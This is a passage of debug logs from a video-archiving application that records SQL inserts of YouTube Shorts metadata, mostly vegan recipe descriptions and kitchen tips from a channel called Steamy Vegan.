02:24:10Z]] 20:31:11.300 [debug] QUERY OK source="sources" db=0.4ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.301 [debug] QUERY OK source="media_items" db=1.7ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-15 15:54:59Z], 1] 20:31:11.302 [debug] QUERY OK source="media_items" db=0.7ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["🤯EPIC VEGAN GRILLED CHEESE 🥪 🧀 \n\nCheck out this #droolworthy PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY grilled cheese sandwich!! 🤯 Did I mention smoky Dijon mayo? 🤤 \n\nHubby @bravebudofficial and I are going head-to-head to see who made the best epic #veganglutenfree grilled cheese in our #CheatDayChallenge! 💥 \nFULL VIDEO: https://youtu.be/2PBpb8LJWwE\n\nWHO NEEDS THIS RECIPE?! 🙌🏻\n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#steamyvegankitchen #steamyvegan #veganfoodbloggers #grilledcheesesandwich #glutenfreevegan #epicmealtime #cheatdayeats #vegancheese #vegangrilledcheese", "PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY GRILLED CHEESE 🧀 the most epic thing I ate this week", "5756841d-8f0e-4ed1-969a-f5af9a34d684", 1, [], 34, false, "j_vwXc18jyY", "https://www.youtube.com/shorts/j_vwXc18jyY", 486, "/downloads/downloads/alec/Steamy Vegan/2022-04-15 PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY GRILLED CHEESE 🧀 the most epic thing I ate this week/PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY GRILLED CHEESE 🧀 the most epic thing I ate this week [j_vwXc18jyY].NA", false, false, true, 1, ~U[2022-04-15 15:54:59Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "🤯EPIC VEGAN GRILLED CHEESE 🥪 🧀 \n\nCheck out this #droolworthy PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY grilled cheese sandwich!! 🤯 Did I mention smoky Dijon mayo? 🤤 \n\nHubby @bravebudofficial and I are going head-to-head to see who made the best epic #veganglutenfree grilled cheese in our #CheatDayChallenge! 💥 \nFULL VIDEO: https://youtu.be/2PBpb8LJWwE\n\nWHO NEEDS THIS RECIPE?! 🙌🏻\n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#steamyvegankitchen #steamyvegan #veganfoodbloggers #grilledcheesesandwich #glutenfreevegan #epicmealtime #cheatdayeats #vegancheese #vegangrilledcheese", "PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY GRILLED CHEESE 🧀 the most epic thing I ate this week", 1, 34, false, "j_vwXc18jyY", "https://www.youtube.com/shorts/j_vwXc18jyY", "/downloads/downloads/alec/Steamy Vegan/2022-04-15 PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY GRILLED CHEESE 🧀 the most epic thing I ate this week/PECAN CRUSTED SMOKED GOUDA & APPLE-CRANBERRY GRILLED CHEESE 🧀 the most epic thing I ate this week [j_vwXc18jyY].NA", true, ~U[2022-04-15 15:54:59Z]] 20:31:11.303 [debug] QUERY OK source="sources" db=0.6ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.305 [debug] QUERY OK source="media_items" db=1.8ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-06 15:12:38Z], 1] 20:31:11.307 [debug] QUERY OK source="media_items" db=1.0ms idle=5.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SPRINGTIME TRAYBAKE 😊 this will be your new fave one pan meal!\n\nIt really is all about that fresh sauce! SAVE THIS RECIPE FOR LATER! ✅\n\nINGREDIENTS \n1 large yam, thickly sliced and quartered\n2 cans of chickpeas, drained, rinsed and dried \n2 bunches of radishes, washed, trimmed and halved \n1 bundle of asparagus, ends sliced off \n1/2 cup stuffed manzanilla olives \n1 tsp smoked paprika \n\nDRESSING (combine all ingredients in jar + shake)\n3 cloves garlic, minced \n2 tbsp Dijon mustard \nJuice of 1 lemon \n3 tbsp chopped fresh basil \n1/4 cup olive oil\n1 tsp salt\nFreshly ground black pepper \n\n1. In a large bowl, toss the chopped yams with the paprika until thoroughly coated. Spread out on a large baking sheet.\n2. Toss the chickpeas in the same bowl with a pinch of salt, and spread out on a separate large baking sheet. Make sure they are DRY!\n3. Bake the yams and chickpeas (on separate racks) for 20 minutes at 425F. \n4. Remove the yams after 20 minutes and set aside. Move the chickpeas over to one side of the baking sheet and add the radishes and asparagus. Pop back in the oven and bake for an additional 10 minutes on the TOP RACK. \n5. Arrange all the different veg as you like in a serving dish, plus adding the olives. Pour the dressing over the whole dish, serve and ENJOY! 🤤\n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱 \n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood", "SPRINGTIME TRAYBAKE 🌱", "3dca2d3c-5f2c-4ee1-9b72-b21e8f1f28e4", 1, [], 25, false, "rIXCyMpxQWQ", "https://www.youtube.com/shorts/rIXCyMpxQWQ", 487, "/downloads/downloads/alec/Steamy Vegan/2022-04-06 SPRINGTIME TRAYBAKE 🌱/SPRINGTIME TRAYBAKE 🌱 [rIXCyMpxQWQ].NA", false, false, true, 1, ~U[2022-04-06 15:12:38Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "SPRINGTIME TRAYBAKE 😊 this will be your new fave one pan meal!\n\nIt really is all about that fresh sauce! SAVE THIS RECIPE FOR LATER! ✅\n\nINGREDIENTS \n1 large yam, thickly sliced and quartered\n2 cans of chickpeas, drained, rinsed and dried \n2 bunches of radishes, washed, trimmed and halved \n1 bundle of asparagus, ends sliced off \n1/2 cup stuffed manzanilla olives \n1 tsp smoked paprika \n\nDRESSING (combine all ingredients in jar + shake)\n3 cloves garlic, minced \n2 tbsp Dijon mustard \nJuice of 1 lemon \n3 tbsp chopped fresh basil \n1/4 cup olive oil\n1 tsp salt\nFreshly ground black pepper \n\n1. In a large bowl, toss the chopped yams with the paprika until thoroughly coated. Spread out on a large baking sheet.\n2. Toss the chickpeas in the same bowl with a pinch of salt, and spread out on a separate large baking sheet. Make sure they are DRY!\n3. Bake the yams and chickpeas (on separate racks) for 20 minutes at 425F. \n4. Remove the yams after 20 minutes and set aside. Move the chickpeas over to one side of the baking sheet and add the radishes and asparagus. Pop back in the oven and bake for an additional 10 minutes on the TOP RACK. \n5. Arrange all the different veg as you like in a serving dish, plus adding the olives. Pour the dressing over the whole dish, serve and ENJOY! 🤤\n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱 \n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood", "SPRINGTIME TRAYBAKE 🌱", 1, 25, false, "rIXCyMpxQWQ", "https://www.youtube.com/shorts/rIXCyMpxQWQ", "/downloads/downloads/alec/Steamy Vegan/2022-04-06 SPRINGTIME TRAYBAKE 🌱/SPRINGTIME TRAYBAKE 🌱 [rIXCyMpxQWQ].NA", true, ~U[2022-04-06 15:12:38Z]] 20:31:11.308 [debug] QUERY OK source="sources" db=0.8ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.310 [debug] QUERY OK source="media_items" db=1.7ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-02 19:23:40Z], 1] 20:31:11.311 [debug] QUERY OK source="media_items" db=1.1ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you’re a fan of zucchini bread or muffins I think you will really love this recipe 😍 These muffins are the perfect combo of bright, fresh and fluffy with a surprising sweet crunch! \n\nSAVE THIS RECIPE FOR LATER! ✅ \n\nINGREDIENTS \n2 cups GF all purpose flour \n1 tbsp baking powder \n1/2 tsp b. Soda\n1 tsp cardamom \n1/4 tsp nutmeg \n3/4 cups coconut sugar\n1/2 tsp salt \n1 cup shredded zucchini (1 small)\n1 mashed banana (1 medium)\nZest of 1 orange \n2 flax eggs \n1/2 cup unsweetened plant milk \n1/4 Pomegranate seeds for topping \n\n1. Add all the wet ingredients to a\u00A0\u00A0large mixing bowl. Give that mixture a good mix until everything is well combined and smooth. \n2. Add the finely shredded zucchini. Stir that in until you have a lumpy but still uniform liquid mixture.\n3. In a large mixing bowl, add the flour, coconut sugar, spices, salt, and baking powder and soda. Mix until everything is well combined. Pour in the wet mixture into the dry and give it a good stir until its well incorporated.\n4. Stir in the pom seeds.\n5. Lightly oil or line with parchment cups (if you’re oil-free) 12 medium muffin cups and bake for 27 minutes at 350º.\n\nIf you’ve never tried zucchini muffins, I’m telling ya you are in for a treat! 👌🏻 Zucchini makes muffins so fluffy and moist, plus the banana and orange adds a lovely bright sweetness, as do the pomegranate seeds. If you’re not the biggest fan of poms, you could use fresh or dried cranberries too, which I think would be fantastic. \nMay I also remind you that zucchinis are a vegetable.. so if you have kids that are picky eaters, this is a delicious and rather stealthy way to hide some veggies into a sweet treat. \n\nFOLLOW @steamyvegankitchen for more easy vegan recipes! \n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusjc by Mark Generous - Orange and Pomegranate : https://thmatc.co/?l=B521F325", "🍊ORANGE POMEGRANATE ZUCCHINI MUFFINS | vegan + gluten free", "488d5e43-a0a4-45e9-98d2-d4bfac178267", 1, [], 60, false, "h6Svfk5luq4", "https://www.youtube.com/shorts/h6Svfk5luq4", 488, "/downloads/downloads/alec/Steamy Vegan/2022-04-02 🍊ORANGE POMEGRANATE ZUCCHINI MUFFINS | vegan + gluten free/🍊ORANGE POMEGRANATE ZUCCHINI MUFFINS | vegan + gluten free [h6Svfk5luq4].NA", false, false, true, 1, ~U[2022-04-02 19:23:40Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "If you’re a fan of zucchini bread or muffins I think you will really love this recipe 😍 These muffins are the perfect combo of bright, fresh and fluffy with a surprising sweet crunch! \n\nSAVE THIS RECIPE FOR LATER! ✅ \n\nINGREDIENTS \n2 cups GF all purpose flour \n1 tbsp baking powder \n1/2 tsp b. Soda\n1 tsp cardamom \n1/4 tsp nutmeg \n3/4 cups coconut sugar\n1/2 tsp salt \n1 cup shredded zucchini (1 small)\n1 mashed banana (1 medium)\nZest of 1 orange \n2 flax eggs \n1/2 cup unsweetened plant milk \n1/4 Pomegranate seeds for topping \n\n1. Add all the wet ingredients to a\u00A0\u00A0large mixing bowl. Give that mixture a good mix until everything is well combined and smooth. \n2. Add the finely shredded zucchini. Stir that in until you have a lumpy but still uniform liquid mixture.\n3. In a large mixing bowl, add the flour, coconut sugar, spices, salt, and baking powder and soda. Mix until everything is well combined. Pour in the wet mixture into the dry and give it a good stir until its well incorporated.\n4. Stir in the pom seeds.\n5. Lightly oil or line with parchment cups (if you’re oil-free) 12 medium muffin cups and bake for 27 minutes at 350º.\n\nIf you’ve never tried zucchini muffins, I’m telling ya you are in for a treat! 👌🏻 Zucchini makes muffins so fluffy and moist, plus the banana and orange adds a lovely bright sweetness, as do the pomegranate seeds. If you’re not the biggest fan of poms, you could use fresh or dried cranberries too, which I think would be fantastic. \nMay I also remind you that zucchinis are a vegetable.. so if you have kids that are picky eaters, this is a delicious and rather stealthy way to hide some veggies into a sweet treat. \n\nFOLLOW @steamyvegankitchen for more easy vegan recipes! \n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusjc by Mark Generous - Orange and Pomegranate : https://thmatc.co/?l=B521F325", "🍊ORANGE POMEGRANATE ZUCCHINI MUFFINS | vegan + gluten free", 1, 60, false, "h6Svfk5luq4", "https://www.youtube.com/shorts/h6Svfk5luq4", "/downloads/downloads/alec/Steamy Vegan/2022-04-02 🍊ORANGE POMEGRANATE ZUCCHINI MUFFINS | vegan + gluten free/🍊ORANGE POMEGRANATE ZUCCHINI MUFFINS | vegan + gluten free [h6Svfk5luq4].NA", true, ~U[2022-04-02 19:23:40Z]] 20:31:11.312 [debug] QUERY OK source="sources" db=0.7ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.314 [debug] QUERY OK source="media_items" db=1.5ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-01 00:36:34Z], 1] 20:31:11.315 [debug] QUERY OK source="media_items" db=0.5ms idle=6.4ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ROASTED POBLANO PEPPER PESTO 🫑", "e5349488-7a42-44ce-bf8d-178f04de1f6e", 1, [], 59, false, "ozY6Wm4Pk1g", "https://www.youtube.com/shorts/ozY6Wm4Pk1g", 489, "/downloads/downloads/alec/Steamy Vegan/2022-04-01 ROASTED POBLANO PEPPER PESTO 🫑/ROASTED POBLANO PEPPER PESTO 🫑 [ozY6Wm4Pk1g].NA", false, false, true, 1, ~U[2022-04-01 00:36:34Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "", "ROASTED POBLANO PEPPER PESTO 🫑", 1, 59, false, "ozY6Wm4Pk1g", "https://www.youtube.com/shorts/ozY6Wm4Pk1g", "/downloads/downloads/alec/Steamy Vegan/2022-04-01 ROASTED POBLANO PEPPER PESTO 🫑/ROASTED POBLANO PEPPER PESTO 🫑 [ozY6Wm4Pk1g].NA", true, ~U[2022-04-01 00:36:34Z]] 20:31:11.315 [debug] QUERY OK source="sources" db=0.4ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.317 [debug] QUERY OK source="media_items" db=1.7ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-03-15 15:53:58Z], 1] 20:31:11.324 [debug] QUERY OK source="media_items" db=6.1ms idle=5.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["NO-WASTE PRODUCE PREP! Part 2 🔪🫑🥕\n\nKeep your veggies close, and your scraps closer 😍\n\nSAVE THESE TIPS FOR LATER! 👍🏻\n\n1. Lots of green onions? Wash and finely dice and keep in a sealable bag or container in your fridge with it slightly opened - this provides air flow and prevents sliminess!\n2. Regrow your green onions! Place the bottom 2-3 inches in a glass of water roots down - place near a window and watch them regrow in literally HOURS 🤯\n3. Radishes always go slimy fast? Wash and dry them right away - place in a sealable bag or container - stay fresh for ages! Wash the radish greens and use for a waste-free pesto 🌱\n4. Bought a HUGE bag of carrots? Keep them in a large container filled with fresh water - will stay crunchy and fresh for WEEKS! Change water once a week 😉\n\nFollow @steamyvegankitchen for more kitchen tips, hacks and easy vegan recipes! 😊\n\n#steamyvegankitchen #steamyvegan #lowwastekitchen #foodwastewarriors #foodwastetips #saynotofoodwaste #peko #pekoproduce #yvr #yvrfoodie #vancouver #vancouver🇨🇦 #vancouverveganfood #vancouverveganscene #vancouvervegans", "ZERO WASTE PRODUCE PREP! Part 2 🧅🥬🥕", "e6c89c9a-9d98-4b92-860a-370a1862b703", 1, [], 60, false, "NrSPYiNclh0", "https://www.youtube.com/shorts/NrSPYiNclh0", 490, "/downloads/downloads/alec/Steamy Vegan/2022-03-15 ZERO WASTE PRODUCE PREP! Part 2 🧅🥬🥕/ZERO WASTE PRODUCE PREP! Part 2 🧅🥬🥕 [NrSPYiNclh0].NA", false, false, true, 1, ~U[2022-03-15 15:53:58Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "NO-WASTE PRODUCE PREP! Part 2 🔪🫑🥕\n\nKeep your veggies close, and your scraps closer 😍\n\nSAVE THESE TIPS FOR LATER! 👍🏻\n\n1. Lots of green onions? Wash and finely dice and keep in a sealable bag or container in your fridge with it slightly opened - this provides air flow and prevents sliminess!\n2. Regrow your green onions! Place the bottom 2-3 inches in a glass of water roots down - place near a window and watch them regrow in literally HOURS 🤯\n3. Radishes always go slimy fast? Wash and dry them right away - place in a sealable bag or container - stay fresh for ages! Wash the radish greens and use for a waste-free pesto 🌱\n4. Bought a HUGE bag of carrots? Keep them in a large container filled with fresh water - will stay crunchy and fresh for WEEKS! Change water once a week 😉\n\nFollow @steamyvegankitchen for more kitchen tips, hacks and easy vegan recipes! 😊\n\n#steamyvegankitchen #steamyvegan #lowwastekitchen #foodwastewarriors #foodwastetips #saynotofoodwaste #peko #pekoproduce #yvr #yvrfoodie #vancouver #vancouver🇨🇦 #vancouverveganfood #vancouverveganscene #vancouvervegans", "ZERO WASTE PRODUCE PREP! Part 2 🧅🥬🥕", 1, 60, false, "NrSPYiNclh0", "https://www.youtube.com/shorts/NrSPYiNclh0", "/downloads/downloads/alec/Steamy Vegan/2022-03-15 ZERO WASTE PRODUCE PREP! Part 2 🧅🥬🥕/ZERO WASTE PRODUCE PREP! Part 2 🧅🥬🥕 [NrSPYiNclh0].NA", true, ~U[2022-03-15 15:53:58Z]] 20:31:11.325 [debug] QUERY OK source="sources" db=0.5ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.327 [debug] QUERY OK source="media_items" db=1.8ms idle=10.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-03-14 22:49:22Z], 1] 20:31:11.329 [debug] QUERY OK source="media_items" db=1.7ms idle=11.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["On Sundays I like to prep as many fruits and veggies as I can to be able to easily use them throughout the week with no fuss, and as little waste as possible. \n\nSAVE THESE TIPS FOR LATER! 👍🏻\n\n1. Lots of extra citrus fruits hanging around? Cut them into chunks and freeze them on a baking tray - transfer to a sealable bag or container - use them in smoothies, yogurt or vitamin water!\n2. What about those citrus peels? Place them in a jar - cover with white vinegar - seal tightly - store in cupboard for up to a week - remove peels and pour liquid into spray bottle with water and Castile soap = countertop cleaner! Check out @plantyou feed for her easy recipe!\n3. Wilting cilantro or other herbs? Chop of the last inch of the stems - place in a glass with a couple inches of water - keep in your fridge - stay fresh for much longer and will come right back to life if wilty!\n4. Abundance of asparagus? Chop off stalky wooden ends and place in jar of water and keep in your fridge - will stay fresher for longer!\n5. Floppy carrots or daikon radish? Peel and slice lengthwise and submerge completely in a jar of water and keep in the fridge - will firm right back up and stay fresh for weeks! \n\nFollow @steamyvegankitchen for more kitchen tips, hacks and easy vegan recipes!\n\n\n#steamyvegankitchen #steamyvegan #lowwastekitchen #foodwastewarriors #foodwastetips #saynotofoodwaste #peko #pekoproduce #yvr #yvrfoodie #vancouver #vancouver🇨🇦 #vancouverveganfood #vancouverveganscene #vancouvervegans", "ZERO WASTE PRODUCE PREP! Part 1", "61e0f379-765a-428e-b990-ef9b007650c1", 1, [], 59, false, "yMZdQORVy6U", "https://www.youtube.com/shorts/yMZdQORVy6U", 491, "/downloads/downloads/alec/Steamy Vegan/2022-03-14 ZERO WASTE PRODUCE PREP! Part 1/ZERO WASTE PRODUCE PREP! Part 1 [yMZdQORVy6U].NA", false, false, true, 3, ~U[2022-03-14 22:49:22Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "On Sundays I like to prep as many fruits and veggies as I can to be able to easily use them throughout the week with no fuss, and as little waste as possible. \n\nSAVE THESE TIPS FOR LATER! 👍🏻\n\n1. Lots of extra citrus fruits hanging around? Cut them into chunks and freeze them on a baking tray - transfer to a sealable bag or container - use them in smoothies, yogurt or vitamin water!\n2. What about those citrus peels? Place them in a jar - cover with white vinegar - seal tightly - store in cupboard for up to a week - remove peels and pour liquid into spray bottle with water and Castile soap = countertop cleaner! Check out @plantyou feed for her easy recipe!\n3. Wilting cilantro or other herbs? Chop of the last inch of the stems - place in a glass with a couple inches of water - keep in your fridge - stay fresh for much longer and will come right back to life if wilty!\n4. Abundance of asparagus? Chop off stalky wooden ends and place in jar of water and keep in your fridge - will stay fresher for longer!\n5. Floppy carrots or daikon radish? Peel and slice lengthwise and submerge completely in a jar of water and keep in the fridge - will firm right back up and stay fresh for weeks! \n\nFollow @steamyvegankitchen for more kitchen tips, hacks and easy vegan recipes!\n\n\n#steamyvegankitchen #steamyvegan #lowwastekitchen #foodwastewarriors #foodwastetips #saynotofoodwaste #peko #pekoproduce #yvr #yvrfoodie #vancouver #vancouver🇨🇦 #vancouverveganfood #vancouverveganscene #vancouvervegans", "ZERO WASTE PRODUCE PREP! Part 1", 1, 59, false, "yMZdQORVy6U", "https://www.youtube.com/shorts/yMZdQORVy6U", "/downloads/downloads/alec/Steamy Vegan/2022-03-14 ZERO WASTE PRODUCE PREP! Part 1/ZERO WASTE PRODUCE PREP! Part 1 [yMZdQORVy6U].NA", true, ~U[2022-03-14 22:49:22Z]] 20:31:11.329 [debug] QUERY OK source="sources" db=0.3ms idle=11.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.509 [debug] QUERY OK source="tasks" db=2.0ms idle=10.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING 